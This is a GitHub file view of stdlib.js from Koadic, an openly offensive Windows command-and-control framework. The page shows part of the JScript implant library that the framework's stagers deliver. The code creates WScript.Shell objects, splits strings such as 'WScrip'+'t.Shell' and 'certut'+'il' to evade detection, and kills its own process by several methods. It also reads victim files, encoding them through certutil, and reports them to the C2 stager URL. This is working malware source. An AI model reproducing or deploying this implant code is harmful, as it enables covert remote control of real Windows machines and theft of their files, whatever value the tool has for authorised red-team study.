Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

offsecginger / **koadic** Public

Notifications Fork 78 Star 268

Code Issues 6 Pull requests Actions Projects Security Insights

Files

457f9a3

Go to file

- core
- data
  - bin
  - implant
  - stager
    - js
      - bitsadmin
      - disk
      - mshta
      - mshtajs
      - regsvr
      - rundll32
      - rundll32_js
      - wmic
      - stage.js
      - stdlib.js
    - vbscript
  - banner.txt
  - banner_info.txt
  - pabst.txt
  - shamrock.txt
  - taco.txt
  - valentine.txt
- modules
- .gitattributes
- .gitignore
- .gitmodules
- DEFCON25.pdf
- Dockerfile
- LICENSE
- README.md
- koadic
- requirements.txt

koadic / data / stager / js / **stdlib.js**

offsecginger Upload Files 61b714c · 3 years ago **History**

Code Blame 1102 lines (984 loc) · 27.3 KB Raw

```
var Koadic = {};

Koadic.FS = new ActiveXObject("Scripting.FileSystemObject");
Koadic.WS = new ActiveXObject("WScrip"+"t.Shell");
Koadic.STAGER = "~URL~";
Koadic.SESSIONKEY = "~SESSIONKEY~";
Koadic.JOBKEY = "~JOBKEY~";
Koadic.JOBKEYPATH = "~URL~?~SESSIONNAME~=~SESSIONKEY~;~JOBNAME~=";
Koadic.EXPIRE = "~_EXPIREEPOCH_~";

/**
 * Sleeps the current thread
 *
 * @param int ms - how long to sleep in milliseconds
 * @param function callback - where to continue execution after the sleep
 *
 * @return void
 */
 //sleep.start
Koadic.sleep = function(#ms#, #callback#)
{
    if (Koadic.isHTA())
    {
        window.setTimeout(#callback#, #ms#);
    }
    else
    {
        var #now# = new Date().getTime();
        while (new Date().getTime() < #now# + #ms#);
        #callback#();
    }
}
//sleep.end

/**
 * Attempts to kill the current process using a myriad of methods
 *
 * @return void
 */
//exit.start
Koadic.exit = function()
{
    if (Koadic.isHTA())
    {
        // crappy hack?
        try {
          window.close();
        } catch(e){}

        try {
          window.self.close();
        } catch (e){}

        try {
          window.top.close();
        } catch (e){}
```

```


        try{
            self.close();
        } catch (e){}

        try
        {
            window.open('', '_se'+'l'+'f', '');
            window.close();
        }
        catch (e)
        {
        }
    }

    try
    {
        WScript.quit();
    }
    catch (e)
    {
    }

    try
    {
        var #pid# = Koadic.process.currentPID();
        Koadic.process.kill(#pid#);
    }
    catch (e)
    {
    }
}
//exit.end

/**
 * Determine if running in HTML Application context
 *
 * @return bool - true if HTML application context
 */
//isHTA.start
Koadic.isHTA = function()
{
    return typeof(window) !== "undef"+"ined";
}
//isHTA.end

/**
 * Determine if running in WScript Application context
 *
 * @return bool - true if WScript context
 */
 //isWScript.start
Koadic.isWScript = function()
{
    return typeof(WScript) !== "un"+"defined";
}
//isWScript.end
//uuid.start
Koadic.uuid = function()
{
    try
```

```
            {
                loopcount += 1;
                if (loopcount > 180)
                {
                    return "";
                }
                Koadic.shell.run("ping 127."+"0.0.1 -n 2", false);
            }
        }
    }
    //file.readText.end
    //file.readBinary.start
    Koadic.file.readBinary = function(path, exists, certutil)
    {
        var exists = (typeof(exists) !== "undefined") ? exists : false;
        var certutil = (typeof(certutil) !== "undefined") ? certutil : false;

        if (!Koadic.FS.FileExists(Koadic.file.getPath(path)) && exists)
        {
            var headers = {};
            headers["Status"] = "NotExist";
            Koadic.work.report("", headers);
            return "";
        }

        var loopcount = 0;
        while(true)
        {

            if (Koadic.FS.FileExists(Koadic.file.getPath(path)) && Koadic.FS.GetFile(Koadic
            {
                if (Koadic.user.encoder() == "936" || certutil)
                {
                    var newout = "%TEMP%\\"+Koadic.uuid()+".t"+"xt";
                    Koadic.shell.run("certut"+"il -encode "+Koadic.file.getPath(path)+" "+n
                    var data = Koadic.file.readText(newout);
                    Koadic.file.deleteFile(newout);
                }
                else
                {
                    var fp = Koadic.FS.GetFile(Koadic.file.getPath(path));
                    var fd = fp.OpenAsTextStream();
                    var data = fd.read(fp.Size);
                    fd.close();
                }
                return data;
            }
            else
            {
                loopcount += 1;
                if (loopcount > 180)
                {
                    return "";
                }
                Koadic.shell.run("ping 127."+"0.0.1 -n 2", false);
            }
        }
    }

    //file.readBinary.end
    //file.write.start
    Koadic.file.write = function(path, data)
    {
        var fd = Koadic.FS.CreateTextFile(Koadic.file.getPath(path), true);
        fd.write(data);
        fd.close();
    }
    //file.write.end
    //file.deleteFile.start
    Koadic.file.deleteFile = function(path)
    {
        Koadic.FS.DeleteFile(Koadic.file.getPath(path), true);
    };
```

```
//file.deleteFile.end
```